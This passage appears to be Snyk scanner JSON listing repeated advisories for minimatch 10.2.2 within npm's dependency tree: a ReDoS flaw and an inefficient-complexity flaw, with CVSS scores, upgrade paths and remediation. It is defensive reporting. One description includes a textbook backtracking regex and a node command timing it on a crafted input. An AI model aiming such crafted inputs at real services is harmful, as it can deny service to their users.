"2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": 